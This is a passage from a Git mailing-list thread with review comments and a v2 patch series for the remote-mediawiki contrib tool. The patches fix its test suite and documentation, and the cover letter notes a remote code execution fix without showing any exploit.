Yes, you did this with the commit,

test_cmp() {
	test $# -eq 2 || BUG "test_cmp requires two arguments"
	if ! eval "$GIT_TEST_CMP" '"$@"'
	then
		test "x$1" = x- || test -e "$1" || BUG "test_cmp '$1' missing"
		test "x$2" = x- || test -e "$2" || BUG "test_cmp '$2' missing"
		return 1
	fi
}

and I do not immediately see why "test -e" shouldn't be "test -f".
It should ideally be "stdin is OK, otherwise it must be a readable
regular file".

Thanks.

Re: [PATCH 09/15] remote-mediawiki tests: use "$dir/" instead of "$dir."

[Junio C Hamano]

Ævar Arnfjörð Bjarmason  <avarab@gmail.com> writes:

> Change UI messages to use "$dir/" instead of "$dir.". I think this is
> less confusing.
>
> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
> ---
>  contrib/mw-to-git/t/test-gitmw-lib.sh | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
> index a466be8f3f..aa04ebfd0f 100755
> --- a/contrib/mw-to-git/t/test-gitmw-lib.sh
> +++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
> @@ -343,10 +343,10 @@ wiki_install () {
>  			"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/"\
>  			"$MW_FILENAME. "\
>  			"Please fix your connection and launch the script again."
> -		echo "$MW_FILENAME downloaded in $(pwd). "\
> +		echo "$MW_FILENAME downloaded in $(pwd)/ "\
>  			"You can delete it later if you want."

"$(pwd)/." to keep the full-stop of the first sentence?

>  	else
> -		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)."
> +		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)/"
>  	fi
>  	archive_abs_path=$(pwd)/$MW_FILENAME
>  	cd "$WIKI_DIR_INST/$WIKI_DIR_NAME/" ||

Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[Junio C Hamano]

Jeff King <peff@peff.net> writes:

> I am a little puzzled about what we want the future of contrib/mw-to-git
> to be. It sounds like there have been a few minor improvements in the
> external GitHub project (though clearly lacking a bunch of fixes you
> have here). Should we be pushing these fixes up to that version and then
> either:
>
>   - considering that project the upstream, and reimporting from them
>     once the fixes are merged there
>
>   - ejecting it from contrib/; it can live on as a separate project

In general the latter is preferrable.

If it is not well maintained in upstream, we can keep it in our
contrib/ hierarchy forever, but given that nobody among us seems to
be motivated and qualified enough to be its true maintainer, and no
user seems to be contacting us about its bugs, it is just between
letting it wither over there or in our contrib/, which does not make
much of a difference, I would think.

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Ævar Arnfjörð Bjarmason]

On Wed, Sep 16 2020, Eric Sunshine wrote:

> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason
> <avarab@gmail.com> wrote:
>> Change a test that used a plain test_cmp to first check the file(s)
>> using test_path_is_file. If some of these file(s) don't exist (as
>> happened to me during debugging), test_cmp will emit a way less useful
>> message about the failure.
>
> An alternative would be to update test_cmp() to present a more helpful
> error message so that all test scripts can benefit rather than just
> this script. By the way, were you testing with a reasonably recent
> version of Git? I ask because test_cmp() was updated not long ago to
> provide better diagnostics when one of the files is missing.
>
> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)

Thanks (and also to Đoàn Trần Công Danh in a side-thread). I've dropped
this patch. It's indeed better to leave this to a more general facility
as in your now-integrated test_cmp patch.

The reason I came up with this now-useless patch is because I originally
started hacking this series on a slightly older version of git, which
didn't have that patch.

Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[Ævar Arnfjörð Bjarmason]

On Wed, Sep 16 2020, Johannes Schindelin wrote:

> Hi Ævar,
>
> On Wed, 16 Sep 2020, Ævar Arnfjörð Bjarmason wrote:
>
>> I had occasion to look at remote-mediawiki and I couldn't even get the
>> test suite to run. The patches below have more detail but there's
>> issues like a hard error on any Perl release newer than ones released
>> in 2013, and the MediaWiki release it tries to use spewing errors on
>> any modern PHP version.
>>
>> This series fixes these issues. With it applied it's possible to run
>> the tests, and they all pass.
>
> I glimpsed through the patches, and they all look in pretty good shape. I
> just wish that the TODO in Simon's patch had been resolved, and that the
> test failures had been root-caused, but then, I personally do not really
> care all that much about the `remote-mediawiki` backend any longer, so I
> am fine with the patches as-are (modulo Danh's/Eric's nit about the
> extra tests before `test_cmp`).

I didn't look into it much, but isn't it just some general "feature" of
the remote protocol that it might tell you about a refname twice, and
you have to de-duplicate them? I searched a bit for whether that was
documented or not, didn't find it, and moved on.

>>
>> Simon Legner (1):
>>   remote-mediawiki: fix duplicate revisions being imported
>>
>> Ævar Arnfjörð Bjarmason (14):
>>   remote-mediawiki doc: correct link to GitHub project
>>   remote-mediawiki doc: link to MediaWiki's current version
>>   remote-mediawiki doc: bump recommended PHP version to 7.3
>>   remote-mediawiki tests: use the login/password variables
>>   remote-mediawiki tests: use a 10 character password
>>   remote-mediawiki tests: use test_cmp in tests
>>   remote-mediawiki tests: guard test_cmp with test_path_is_file
>>   remote-mediawiki tests: change `[]` to `test`
>>   remote-mediawiki tests: use "$dir/" instead of "$dir."
>>   remote-mediawiki tests: use a more idiomatic dispatch table
>>   remote-mediawiki tests: replace deprecated Perl construct
>>   remote-mediawiki tests: use inline PerlIO for readability
>>   remote-mediawiki tests: use CLI installer
>>   remote-mediawiki tests: annotate failing tests
>>
>>  contrib/mw-to-git/git-mw.perl                 |   2 +-
>>  contrib/mw-to-git/git-remote-mediawiki.perl   |   5 +-
>>  contrib/mw-to-git/git-remote-mediawiki.txt    |   2 +-
>>  contrib/mw-to-git/t/.gitignore                |   2 +-
>>  contrib/mw-to-git/t/README                    |  10 +-
>>  contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
>>  .../t/install-wiki/LocalSettings.php          | 129 --------------
>>  .../mw-to-git/t/install-wiki/db_install.php   | 120 -------------
>>  contrib/mw-to-git/t/t9360-mw-to-git-clone.sh  |   8 +-
>>  .../t/t9363-mw-to-git-export-import.sh        |  15 +-
>>  contrib/mw-to-git/t/test-gitmw-lib.sh         | 159 +++++++++---------
>>  contrib/mw-to-git/t/test-gitmw.pl             |  22 ++-
>>  contrib/mw-to-git/t/test.config               |  23 +--
>>  13 files changed, 129 insertions(+), 369 deletions(-)
>>  delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
>>  delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
>>  delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php
>>
>> --
>> 2.28.0.297.g1956fa8f8d
>>
>>

[PATCH v2 00/18] remote-mediawiki: fix RCE issue, and the tests

[Ævar Arnfjörð Bjarmason]

This series now has a fix for a remote code execution which previously
was only being discussed on the closed git-security list. Per
discussion there the issue is being made public.

Basically, we expect that almost nobody is using this code in the
first place so there wasn't any interest in a point release, and there
wasn't any downstream interest in an embargo either.

This v2 addresses (hopefully) all the public & git-security commends
on the v1s of this series.

Simon Legner (1):
  remote-mediawiki: fix duplicate revisions being imported

Ævar Arnfjörð Bjarmason (17):
  remote-mediawiki doc: correct link to GitHub project
  remote-mediawiki doc: link to MediaWiki's current version
  remote-mediawiki doc: don't hardcode Debian PHP versions
  remote-mediawiki tests: use the login/password variables
  remote-mediawiki tests: use a 10 character password
  remote-mediawiki tests: use test_cmp in tests
  remote-mediawiki tests: change `[]` to `test`
  remote-mediawiki tests: use "$dir/" instead of "$dir."
  remote-mediawiki tests: use a more idiomatic dispatch table
  remote-mediawiki tests: replace deprecated Perl construct
  remote-mediawiki tests: use inline PerlIO for readability
  remote-mediawiki tests: use CLI installer
  remote-mediawiki tests: annotate failing tests
  remote-mediawiki: provide a list form of run_git()
  remote-mediawiki: convert to quoted run_git() invocation
  remote-mediawiki: annotate unquoted uses of run_git()
  remote-mediawiki: use "sh" to eliminate unquoted commands

 contrib/mw-to-git/git-mw.perl                 |   2 +-
 contrib/mw-to-git/git-remote-mediawiki.perl   |  80 +++++----
 contrib/mw-to-git/git-remote-mediawiki.txt    |   2 +-
 contrib/mw-to-git/t/.gitignore                |   2 +-
 contrib/mw-to-git/t/README                    |  10 +-
 contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
 .../t/install-wiki/LocalSettings.php          | 129 --------------
 .../mw-to-git/t/install-wiki/db_install.php   | 120 -------------
 contrib/mw-to-git/t/t9360-mw-to-git-clone.sh  |   8 +-
 .../t/t9363-mw-to-git-export-import.sh        |   9 +-
 contrib/mw-to-git/t/test-gitmw-lib.sh         | 162 +++++++++---------
 contrib/mw-to-git/t/test-gitmw.pl             |  22 ++-
 contrib/mw-to-git/t/test.config               |  23 +--
 13 files changed, 169 insertions(+), 401 deletions(-)
 delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
 delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
 delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php

Range-diff:
 1:  846fcf6e6a !  1:  9279eed8ea remote-mediawiki doc: bump recommended PHP version to 7.3
    @@ Metadata
     Author: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
     
      ## Commit message ##
    -    remote-mediawiki doc: bump recommended PHP version to 7.3
    +    remote-mediawiki doc: don't hardcode Debian PHP versions
     
    -    Change the version in the documentation to what's currently in Debian
    -    stable. Ideally we wouldn't have to keep changing this version, but if
    -    it's going to be hardcoded let's use something that works on a modern
    -    installation.
    +    Change the hardcoded version 5 PHP versions to the version-agnostic
    +    packages. Currently Debian stable's version is 7.3, and there's a
    +    php7.3, php7.3-cli etc. package available (but no php5-*).
    +
    +    The corresponding version-less package is a dependency package which
    +    depends on whatever the current stable version is. By not hardcoding
    +    the version these instructions won't be out of date when the next
    +    Debian/Ubuntu release happens.
     
         Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
     
    @@ contrib/mw-to-git/t/README: install the following packages (Debian/Ubuntu names,
     -* php5-cli
     -* php5-curl
     -* php5-sqlite
    -+* php7.3
    -+* php7.3-cgi
    -+* php7.3-cli
    -+* php7.3-curl
    -+* php7.3-sqlite
    ++* php
    ++* php-cgi
    ++* php-cli
    ++* php-curl
    ++* php-sqlite
      
      Principles and Technical Choices
      --------------------------------
 2:  83910fbfde =  2:  5aca7b2fb4 remote-mediawiki tests: use the login/password variables
 3:  6e93ab0e28 !  3:  66cdbc967e remote-mediawiki tests: use a 10 character password
    @@ Metadata
      ## Commit message ##
         remote-mediawiki tests: use a 10 character password
     
    -    In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2.
    +    In more recent versions of MediaWiki this is a requirement, e.g. the
    +    current stable version of 1.32.2.
     
         The web installer now refuses our old 9 character password, the
         command-line one (will be used in a subsequent change) will accept it,
 4:  8f89eb334c !  4:  10f7542bc3 remote-mediawiki tests: use test_cmp in tests
    @@ Metadata
      ## Commit message ##
         remote-mediawiki tests: use test_cmp in tests
     
    -    Change code that used an ad-hoc diff invocation to use our test_cmp
    -    helper instead. I'm also changing the order of arguments to be the
    -    standard "test_cmp <expected> <actual>".
    +    Change code that used an ad-hoc "diff -b" invocation to use our
    +    test_cmp helper instead. I'm also changing the order of arguments to
    +    be the standard "test_cmp <expected> <actual>".
    +
    +    Using test_cmp has different semantics since the "-b" option to diff
    +    causes it to ignore whitespace, but in these cases the use of "-b" was
    +    just meaningless boilerplate. The desired semantics here are to
    +    compare "git log" lines with know-good data, so we don't want to
    +    ignore whitespace.
     
         Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
     
 5:  b748cab648 <  -:  ---------- remote-mediawiki tests: guard test_cmp with test_path_is_file
 6:  5fdfdf02bb =  5:  4e2fb4b445 remote-mediawiki tests: change `[]` to `test`
 7:  706ca0e23d !  6:  5a1362d003 remote-mediawiki tests: use "$dir/" instead of "$dir."
    @@ Commit message
         remote-mediawiki tests: use "$dir/" instead of "$dir."
     
         Change UI messages to use "$dir/" instead of "$dir.". I think this is
    -    less confusing.
    +    less confusing when referring to an absolute directory path.
     
         Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
     
    @@ contrib/mw-to-git/t/test-gitmw-lib.sh: wiki_install () {
      			"$MW_FILENAME. "\
      			"Please fix your connection and launch the script again."
     -		echo "$MW_FILENAME downloaded in $(pwd). "\
    -+		echo "$MW_FILENAME downloaded in $(pwd)/ "\
    - 			"You can delete it later if you want."
    +-			"You can delete it later if you want."
    ++		echo "$MW_FILENAME downloaded in $(pwd)/;" \
    ++		     "you can delete it later if you want."
      	else
     -		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)."
     +		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)/"
 8:  34dde50515 =  7:  b79b0053ae remote-mediawiki tests: use a more idiomatic dispatch table
 9:  d45c8f3412 !  8:  05a9701841 remote-mediawiki tests: replace deprecated Perl construct
    @@ Metadata
      ## Commit message ##
         remote-mediawiki tests: replace deprecated Perl construct
     
    -    The use of the encoding pragma has been a hard error since Perl 5.18,
    -    which was released in 2013. What this script really wanted to do was
    -    to decode @ARGV and write out some files with the UTF-8 PerlIO
    -    layer. Let's just do that explicitly instead.
    +    The use of the encoding pragma has been a hard error since Perl
    +    5.18 (released in 2013).
    +
    +    What this script really wanted to do was to decode @ARGV and write out
    +    some files with the UTF-8 PerlIO layer. Let's just do that explicitly
    +    instead.
    +
    +    This explicitly does not retain the previous UTF-8 semantics of the
    +    script. The "encoding" pragma had all sorts of global effects (program
    +    text being UTF-8, stdin/stdout etc.). But the only thing that was
    +    required was decoding @ARGV and writing out UTF-8 data, which is
    +    currently facilitated with the "open" pragma.
     
         Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
     
10:  75dbb1f772 =  9:  ceecab2bf0 remote-mediawiki tests: use inline PerlIO for readability
11:  6d3b1e9b60 ! 10:  cc00c528cb remote-mediawiki tests: use CLI installer
    @@ contrib/mw-to-git/t/test-gitmw-lib.sh: wiki_install () {
      	fi
      
     -	# Fetch MediaWiki's archive if not already present in the TMP directory
    -+	# Fetch MediaWiki's archive if not already present in download directory
    ++	# Fetch MediaWiki's archive if not already present in the
    ++	# download directory
     +	mkdir -p "$FILES_FOLDER_DOWNLOAD"
      	MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
     -	cd "$TMP"
12:  3c29add4d2 = 11:  d7fb81d8a2 remote-mediawiki: fix duplicate revisions being imported
13:  2c3580c8db ! 12:  b9b10aed72 remote-mediawiki tests: annotate failing tests
    @@ Commit message
         intermittent test failures. Let's mark these as failing so we can have
         an otherwise passing test suite.
     
    +    We need to add an extra test_path_is_file() here because since
    +    d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
    +    test_cmp has errored out with a BUG if one of the test arguments
    +    doesn't exist, without that the test would still fail even without
    +    test_expect_failure().
    +
         1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56
     
         Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
    @@ contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh: test_expect_success 'git p
      	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
      	git clone -c remote.origin.mediaimport=true \
      		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
    + 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&
    + 	(cd mw_dir_clone && git checkout HEAD^) &&
    + 	(cd mw_dir && git checkout HEAD^) &&
    ++	test_path_is_file mw_dir_clone/Foo.txt &&
    + 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt
    + '
    + 
 -:  ---------- > 13:  7bea20a373 remote-mediawiki: provide a list form of run_git()
 -:  ---------- > 14:  46189e2e58 remote-mediawiki: convert to quoted run_git() invocation
 -:  ---------- > 15:  2ad06f7334 remote-mediawiki: annotate unquoted uses of run_git()
 -:  ---------- > 16:  41cfcab3af remote-mediawiki: use "sh" to eliminate unquoted commands
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 01/18] remote-mediawiki doc: correct link to GitHub project

[Ævar Arnfjörð Bjarmason]

Change the link to the canonical one, the old link redirects to the
new one.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-mw.perl               | 2 +-
 contrib/mw-to-git/git-remote-mediawiki.perl | 2 +-
 contrib/mw-to-git/git-remote-mediawiki.txt  | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/contrib/mw-to-git/git-mw.perl b/contrib/mw-to-git/git-mw.perl
index 28df3ee321..eb52a53d32 100755
--- a/contrib/mw-to-git/git-mw.perl
+++ b/contrib/mw-to-git/git-mw.perl
@@ -6,7 +6,7 @@
 # License: GPL v2 or later
 
 # Set of tools for git repo with a mediawiki remote.
-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/
+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki
 
 use strict;
 use warnings;
diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index d8ff2e69c4..08190e23e1 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -9,7 +9,7 @@
 # License: GPL v2 or later
 
 # Gateway between Git and MediaWiki.
-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/
+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki
 
 use strict;
 use MediaWiki::API;
diff --git a/contrib/mw-to-git/git-remote-mediawiki.txt b/contrib/mw-to-git/git-remote-mediawiki.txt
index 23b7ef9f62..5da825f61e 100644
--- a/contrib/mw-to-git/git-remote-mediawiki.txt
+++ b/contrib/mw-to-git/git-remote-mediawiki.txt
@@ -4,4 +4,4 @@ objects from mediawiki just as one would do with a classic git
 repository thanks to remote-helpers.
 
 For more information, visit the wiki at
-https://github.com/moy/Git-Mediawiki/wiki
+https://github.com/Git-Mediawiki/Git-Mediawiki
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 02/18] remote-mediawiki doc: link to MediaWiki's current version

[Ævar Arnfjörð Bjarmason]

Amend a comment in the test.config file to point to the latest
upstream version, which makes it easier for the user to tweak this.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test.config | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index 5ba0684162..b6fb0b3993 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -31,6 +31,9 @@ WEB_WWW=$WEB/www
 # The variables below are used by the script to install a wiki.
 # You should not modify these unless you are modifying the script itself.
 # tested versions: 1.19.X -> 1.21.1
+#
+# See https://www.mediawiki.org/wiki/Download for what the latest
+# version is.
 MW_VERSION_MAJOR=1.21
 MW_VERSION_MINOR=1
 FILES_FOLDER=install-wiki
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 03/18] remote-mediawiki doc: don't hardcode Debian PHP versions

[Ævar Arnfjörð Bjarmason]

Change the hardcoded version 5 PHP versions to the version-agnostic
packages. Currently Debian stable's version is 7.3, and there's a
php7.3, php7.3-cli etc. package available (but no php5-*).

The corresponding version-less package is a dependency package which
depends on whatever the current stable version is. By not hardcoding
the version these instructions won't be out of date when the next
Debian/Ubuntu release happens.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/README | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README
index 2ee34be7e4..72c4889db7 100644
--- a/contrib/mw-to-git/t/README
+++ b/contrib/mw-to-git/t/README
@@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be
 adapted for another distribution):
 
 * lighttpd
-* php5
-* php5-cgi
-* php5-cli
-* php5-curl
-* php5-sqlite
+* php
+* php-cgi
+* php-cli
+* php-curl
+* php-sqlite
 
 Principles and Technical Choices
 --------------------------------
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 04/18] remote-mediawiki tests: use the login/password variables

[Ævar Arnfjörð Bjarmason]

Change a hardcoded user/password for the corresponding variable
defined in contrib/mw-to-git/t/test.config.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
index 3ff3a09567..43580af3cf 100755
--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
@@ -27,8 +27,8 @@ test_git_reimport () {
 
 # Don't bother with permissions, be administrator by default
 test_expect_success 'setup config' '
-	git config --global remote.origin.mwLogin WikiAdmin &&
-	git config --global remote.origin.mwPassword AdminPass &&
+	git config --global remote.origin.mwLogin "$WIKI_ADMIN" &&
+	git config --global remote.origin.mwPassword "$WIKI_PASSW" &&
 	test_might_fail git config --global --unset remote.origin.mediaImport
 '
 
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 05/18] remote-mediawiki tests: use a 10 character password

[Ævar Arnfjörð Bjarmason]

In more recent versions of MediaWiki this is a requirement, e.g. the
current stable version of 1.32.2.

The web installer now refuses our old 9 character password, the
command-line one (will be used in a subsequent change) will accept it,
but trying to use it in the web UI will emit an error asking the user
to reset the password. Let's use a password that'll just work and
allow us to log in as the admin user.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test.config | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index b6fb0b3993..3ab56c7165 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -3,7 +3,7 @@ WIKI_DIR_NAME=wiki
 
 # Login and password of the wiki's admin
 WIKI_ADMIN=WikiAdmin
-WIKI_PASSW=AdminPass
+WIKI_PASSW=AdminPass1
 
 # Address of the web server
 SERVER_ADDR=localhost
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 06/18] remote-mediawiki tests: use test_cmp in tests

[Ævar Arnfjörð Bjarmason]

Change code that used an ad-hoc "diff -b" invocation to use our
test_cmp helper instead. I'm also changing the order of arguments to
be the standard "test_cmp <expected> <actual>".

Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to
ignore whitespace.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
index 9106833578..4c39bda7bf 100755
--- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
+++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
@@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '
 		git log --format=%s HEAD^..HEAD >log.tmp
 	) &&
 	echo "this must be the same" >msg.tmp &&
-	diff -b mw_dir_1/log.tmp msg.tmp
+	test_cmp msg.tmp mw_dir_1/log.tmp
 '
 
 
@@ -50,8 +50,8 @@ test_expect_success 'Git clone creates the expected git log with multiple files'
 	echo "this must be the same" >>msgDaddy.tmp &&
 	echo "identical too" >msgDj.tmp &&
 	echo "identical" >>msgDj.tmp &&
-	diff -b mw_dir_2/logDaddy.tmp msgDaddy.tmp &&
-	diff -b mw_dir_2/logDj.tmp msgDj.tmp
+	test_cmp msgDaddy.tmp mw_dir_2/logDaddy.tmp &&
+	test_cmp msgDj.tmp mw_dir_2/logDj.tmp
 '
 
 
@@ -135,7 +135,7 @@ test_expect_success 'Git clone works with one specific page cloned ' '
 		cd mw_dir_8 &&
 		echo "this log must stay" >msg.tmp &&
 		git log --format=%s >log.tmp &&
-		diff -b msg.tmp log.tmp
+		test_cmp msg.tmp log.tmp
 	) &&
 	wiki_check_content mw_dir_8/Namnam.mw Namnam
 '
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 07/18] remote-mediawiki tests: change `[]` to `test`

[Ævar Arnfjörð Bjarmason]

Convert `[]` to `test` and break if-then into separate lines, both of
which bring the style in line with Git's coding guidelines.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw-lib.sh | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index 3948a00282..a466be8f3f 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -65,7 +65,7 @@ test_check_precond () {
 	GIT_EXEC_PATH=$(cd "$(dirname "$0")" && cd "../.." && pwd)
 	PATH="$GIT_EXEC_PATH"'/bin-wrapper:'"$PATH"
 
-	if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ];
+	if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME"
 	then
 		skip_all='skipping gateway git-mw tests, no mediawiki found'
 		test_done
@@ -304,7 +304,8 @@ create_db () {
 	php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \
 		"$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT"
 
-	if [ ! -f "$TMP/$DB_FILE" ] ; then
+	if ! test -f "$TMP/$DB_FILE"
+	then
 		error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first."
 	fi
 
@@ -325,7 +326,8 @@ wiki_install () {
 	# unpack and copy the files of MediaWiki
 	(
 	mkdir -p "$WIKI_DIR_INST/$WIKI_DIR_NAME"
-	if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ] ; then
+	if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME"
+	then
 		error "Folder $WIKI_DIR_INST/$WIKI_DIR_NAME doesn't exist.
 		Please create it and launch the script again."
 	fi
@@ -333,7 +335,8 @@ wiki_install () {
 	# Fetch MediaWiki's archive if not already present in the TMP directory
 	MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
 	cd "$TMP"
-	if [ ! -f $MW_FILENAME ] ; then
+	if ! test -f $MW_FILENAME
+	then
 		echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..."
 		wget "http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/$MW_FILENAME" ||
 			error "Unable to download "\
@@ -359,7 +362,8 @@ wiki_install () {
 	# And modify parameters according to the ones set at the top
 	# of this script.
 	# Note that LocalSettings.php is never modified.
-	if [ ! -f "$FILES_FOLDER/LocalSettings.php" ] ; then
+	if ! test -f "$FILES_FOLDER/LocalSettings.php"
+	then
 		error "Can't find $FILES_FOLDER/LocalSettings.php " \
 			"in the current folder. "\
 		"Please run the script inside its folder."
@@ -401,7 +405,8 @@ wiki_install () {
 # Warning: This function must be called only in a subdirectory of t/ directory
 wiki_reset () {
 	# Copy initial database of the wiki
-	if [ ! -f "../$FILES_FOLDER/$DB_FILE" ] ; then
+	if ! test -f "../$FILES_FOLDER/$DB_FILE"
+	then
 		error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder."
 	fi
 	cp "../$FILES_FOLDER/$DB_FILE" "$TMP" ||
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 08/18] remote-mediawiki tests: use "$dir/" instead of "$dir."

[Ævar Arnfjörð Bjarmason]

Change UI messages to use "$dir/" instead of "$dir.". I think this is
less confusing when referring to an absolute directory path.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw-lib.sh | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index a466be8f3f..eb45a5a641 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -343,10 +343,10 @@ wiki_install () {
 			"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/"\
 			"$MW_FILENAME. "\
 			"Please fix your connection and launch the script again."
-		echo "$MW_FILENAME downloaded in $(pwd). "\
-			"You can delete it later if you want."
+		echo "$MW_FILENAME downloaded in $(pwd)/;" \
+		     "you can delete it later if you want."
 	else
-		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)."
+		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)/"
 	fi
 	archive_abs_path=$(pwd)/$MW_FILENAME
 	cd "$WIKI_DIR_INST/$WIKI_DIR_NAME/" ||
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 09/18] remote-mediawiki tests: use a more idiomatic dispatch table

[Ævar Arnfjörð Bjarmason]

Change the dispatch table code in test-gitmw.pl to use a hash where
subroutine references are the values. This is more obvious than a hash
where the values are strings we'll use to go searching around in the
symbol table for the function.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

